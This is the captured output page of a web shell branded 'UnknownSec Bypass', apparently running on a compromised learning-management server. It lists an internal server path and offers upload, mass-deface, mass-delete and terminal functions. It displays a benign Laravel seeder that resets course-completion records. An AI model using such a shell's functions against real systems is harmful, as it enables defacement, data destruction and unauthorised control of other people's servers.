UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_e766dfeccb33
/
database
/
seeds
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
FixingCompletedCourses.php
<?php use Illuminate\Database\Seeder; use EstudioLMS\Models\Environment\Record; use EstudioLMS\Models\Courses\Course\CourseResource; use EstudioLMS\Models\Environment\HiredCourse; /** * Class FixingCompletedCourses */ class FixingCompletedCourses extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $hiredCourses = DB::table('hired_courses') ->join('courses', 'hired_courses.course_id', '=', 'courses.id') ->where('courses.course_status_id', '=', 1) ->whereIn('hired_courses.status', [3, 4]) ->where('hired_courses.completed', '=', 1) ->whereNotNull('hired_courses.completed_at') ->select(['hired_courses.id', 'hired_courses.user_id', 'hired_courses.course_id']) ->get(); foreach ($hiredCourses as $key => $hired) { $totalLessons = CourseResource::where('course_id', '=', $hired->course_id) ->whereNotIn('resource_type_id', [1]) ->get()->count(); $watched = Record::where('user_id', '=', $hired->user_id) ->where('course_id', '=', $hired->course_id) ->groupBy('resource_id') ->groupBy('resource_type_id') ->get()->count(); if ($totalLessons > 0) { if ($watched < $totalLessons) { $hc = HiredCourse::find($hired->id); $hc->completed = 0; $hc->completed_at = null; $hc->save(); $this->command->info('MatrĂcula: '. $hired->id . ' fixada!'); } } } } }
Copyright © 2026 - UnknownSec